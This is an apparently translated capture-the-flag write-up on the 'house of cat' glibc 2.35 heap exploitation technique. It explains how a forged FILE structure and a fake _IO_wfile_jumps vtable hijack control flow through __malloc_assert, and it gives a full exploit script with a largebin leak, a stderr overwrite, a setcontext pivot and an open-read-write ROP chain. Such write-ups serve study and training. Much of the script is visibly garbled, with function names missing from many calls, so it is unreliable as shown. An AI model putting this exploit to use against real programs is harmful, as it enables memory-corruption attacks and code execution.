house_of_cat
Preface:
house of cat is the same chain as house of kiwi and house of emma, when the program can't return from main function, or can't explicitly call exit function, we can use __malloc_assert to refresh the IO stream, of course, this function was removed after 2.35, and finally removed completely in 2.37. This function was removed after 2.35, and finally removed completely in 2.37.
house of cat modifies the vtable table just like house of emma, but the difference is that house of emma uses the function_IO_cookie_read for jumps, and hosue of cat uses _IO_wfile_seekoff for function calls, this function exists in _IO_wfile_jumps, let's look at its source code
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;
if (mode == 0)
return do_ftell_wide (fp);
......
bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));
if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
......
}
Found that it will call the condition if it is met_IO_switch_to_wget_mode
function, let's follow up with a look at the source code
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
......
}
It will call the_IO_WOVERFLOW
but need to satisfy the situation, need to satisfyfp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
This condition. Because of this_IO_WOVERFLOW
The function is passed through the_wide_data->_wide_vtable
in the_wide_vtable
is within our control, thus allowing us to hijack the execution flow of the program here.
See the full call chain __malloc_assert-> __fxprintf->__vfxprintf->locked_vfxprintf->__vfprintf_internal->_IO_wfile_seekoff->_IO_switch_to_wget_mode->setcontext->orw
Calling our fake vtable
Called when conditions are met_IO_switch_to_wget_mode
function (math.)
Keep stepping in and note the change in rax here
The address at rax+0x18 has been modified here
Continue hijacking rdx+0xa0 and rdx+0xa8 to reach the hijacked program flow sequence to the heap block (if you don't have a sandbox open you can take the shell between system("/bin/sh").
example
Title Link:
Link:/s/1BIOPCJ_nVxN1iWy_m-yWJg?pwd=c7qv
Extract code: c7qv
The question comes up with a check, but we focus on house of cat, and the check is given directly here
You need to enter LOGIN | r00t QWB QWXFadmin when logging in, and CAT | r00t QWB QWXF$\xff to pass the check during each heap block operation.
The add function has a size limit and is allocated via calloc
The edit function cannot be out of bounds and can only be used twice, each time entering 0x30 bytes
UAF vulnerability in free function
show function prints 0x30 bytes of data without truncation
The program also opens the sandbox can only orw, and the first parameter of read must be 0, then it is necessary to first want to close the file descriptor 0, and then again use the read
Then the idea is obvious, through the largebin to leak the libc address and heap block address, and then two edits, the first to modify the stderr structure (that malloc_assert will call stderr to output the error message), the second to modify the top_chunk to modify the size to trigger the __malloc_assert Then here we should pay attention to the layout and the relationship between the calls when forging the structure.
EXP:
from gt import *
con("amd64")
io = process("./houseofcat")
libc = ELF("/home/su/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc-2.")
#(io)
("mew mew mew~~~~~~\n","LOGIN | r00t QWB QWXFadmin")
def add(index,size,msg='\x00'):
("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
("choice:\n","1")
("cat idx:\n",str(index))
("cat size:\n",str(size))
("your content:\n",msg)
def free(index):
("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
("choice:\n","2")
("cat idx:\n",str(index))
def show(index):
("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
("choice:\n","3")
("cat idx:\n",str(index))
def edit(index,msg):
("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
("choice:\n","4")
("cat idx:\n",str(index))
("your content:\n",msg)
add(0,0x420) #0
add(1,0x430) #1
add(2,0x418) #2
free(0)
add(3,0x430) #4
show(0)
("Context:\n")
libc_base = u64((8))-0x21a0d0
suc("libc_base",libc_base)
(8)
heap_base = u64((6).ljust(8,b'\x00')) -0x290
suc("heap_base",heap_base)
setcontext = libc_base + ["setcontext"]
read = libc_base + ["read"]
write = libc_base + ["write"]
pop_rax = libc_base + 0x0000000000045eb0#: pop rax; ret;
pop_rdi = libc_base + 0x000000000002a3e5#: pop rdi; ret;
pop_rsi = libc_base + 0x000000000002be51#: pop rsi; ret;
pop_rdx_r12 = libc_base + 0x000000000011f497#: pop rdx; pop r12; ret;
lv = libc_base + 0x00000000000562ec#: leave; ret;
stderr = libc_base + ['stderr']
close = libc_base + ["close"]
syscall = libc_base + 0x0000000000091396#: syscall; ret;
_IO_wfile_jumps = libc_base + 0x2160c0
flag_addr = heap_base + 0xb00 + 0x230
orw = flat(pop_rdi ,0 , close)
orw += flat(pop_rdi,flag_addr,pop_rsi,0,pop_rax,2,syscall)
orw += flat(pop_rdi,0,pop_rsi,heap_base + 0x500,pop_rdx_r12,0x30,0,read)
orw += flat(pop_rdi,1,pop_rsi,heap_base + 0x500,pop_rdx_r12,0x30,0,write)
orw += b'flag\x00\x00\x00\x00' + p64(0xdeadbeef)
fake_io_addr = heap_base + 0xb00
fake_IO_FILE =p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx -----> setcontext + 61
fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr rax+0x58
fake_IO_FILE =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0) # _chain
fake_IO_FILE =fake_IO_FILE.ljust(0x78,b'\x00')
fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE +=p64(heap_base+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10) # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE += p64(0) *6
fake_IO_FILE += p64(fake_io_addr + 0x40) #rax2+0xe0
fake_IO_FILE += p64(0) * 7 + p64(fake_io_addr + 0x160) + p64(pop_rdi+1) #rdx + 0xa0 , 0xa8
fake_IO_FILE += orw
free(2)
payload = p64(libc_base+0x21a0d0)*2 +p64(heap_base+0x290) + p64(stderr - 0x20)
add(6,0x418,fake_IO_FILE)
edit(0,payload)
free(6)
add(4,0x430)
#(io)
add(5,0x440) #large
add(7,0x430)
add(8,0x430) #unsort
free(5)
add(9,0x450)
top_chunk = heap_base + 0x28d0
payload = p64(libc_base+0x21a0e0)*2 +p64(heap_base+0x17a0) + p64(top_chunk+3 - 0x20)
edit(5,payload)
free(8)
#add(10,0x460)
#(io)
("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
('plz input your cat choice:\n',str(1))
('plz input your cat idx:',str(11))
(io,'b* (_IO_wfile_seekoff)')
#(io)
('plz input your cat size:',str(0x450))
()
Analyze the forged IO
fake_io_addr = heap_base + 0xb00
fake_IO_FILE = p64(0)*6
fake_IO_FILE +=p64(1)+p64(0) # here to bypass the checking
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx here rdx
fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr Here is the rax + 0x18 position
fake_IO_FILE =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE =fake_IO_FILE.ljust(0x78,b'\x00')
fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE +=p64(heap_base+0xb30) # rax1 0x90 location for first rax (rax+0xa0)
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10) # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE += p64(0) *6
fake_IO_FILE += p64(fake_io_addr + 0x40) #rax2+0xe0
fake_IO_FILE += p64(0) * 7 + p64(fake_io_addr + 0x160) + p64(pop_rdi+1) #rdx + 0xa0 , 0xa8
fake_IO_FILE += orw
Final implementation effect